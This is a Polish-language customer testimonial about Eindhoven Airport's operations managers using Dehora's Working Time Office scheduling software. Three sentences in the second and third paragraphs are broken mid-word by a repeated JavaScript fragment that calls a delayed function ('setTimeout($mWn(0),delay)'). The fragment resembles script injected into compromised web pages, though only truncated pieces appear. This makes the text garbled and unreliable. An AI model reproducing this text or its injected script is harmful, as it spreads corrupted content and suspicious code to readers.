Lotnisko Eindhoven odprawiło w zeszłym roku około 3,4 miliona pasażerów. W 2020 r. ma nadzieję powitać między 5 a 5,5 miliona pasażerów, co oznacza wzrost liczby obsłużonych lotów do 43 tysięcy rocznie. To oznacza również więcej pracy dla wydziału Airport Operation Managers. ‘Obecnie liczba pracowników naszego Wydziału urosła z sześciu do dziewięciu’, mówi Frans van den Broek z Airport Operation Managers. Wraz z kolegami (w przeliczeniu 7,2 pełnych etatów), jest on odpowiedzialny za operacje na płycie i w terminalu lotniska Eindhoven. Zwłaszcza w soboty i niedziele przybyło im dodatkowych godzin pracy.
Obsada dopasowana do potrzeb ‘Razem z Dehorą opracowaliśmy grafiki na okresy sześciotygodniowe. Po paru korektach zaczęliśmy je sdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosować na początku 2013 r. Kiedy w tym roku przyszło dwóch nowych kolegów, sam przygodom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towałem nowe grafiki. Mamy obsadę dopasowaną do potrzeb.’
Working Time Office© Van den Broek tworzy i zarządza grafikami przy użyciu programu Working Time Office© (WTO) stworzonego przez Dehorę; jest dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to funkcjonalny i niedrogi pakiet do planowania czasu pracy personelu, stworzony pod Excelem. W Holandii, WTO jest jedynym takim programem, który uzyskał certyfikat Ministerstwa Spraw Socjalnych i Pracy i jest używany przez holenderską inspekcję pracy.
Kontakt telefoniczny z helpdeskiem Van den Broek kontroluje i zapisuje wszystkie informacje i dane w WTO, nie tylko grafiki pracy, ale też stan osobowy, zliczenia wszystkich rodzajów godzin, absencję chorobową, urlopy itd. Program pozwala też na sprawdzenie zgodności godzin pracy i odpoczynku z przepisami Kodeksu Pracy i z przyjętym w firmie regulaminem pracy. Van den Broek: ‘Gdy się pomylisz, system od razy sygnalizuje błąd. Jestem bardzo zadowolony. A jak mam problem, z którym nie mogę sobie dać rady, zawsze mogę zadzwonić do helpdesku Dehory’.
‘WTO jest świetne. Jak pomylisz się, system od razu reaguje’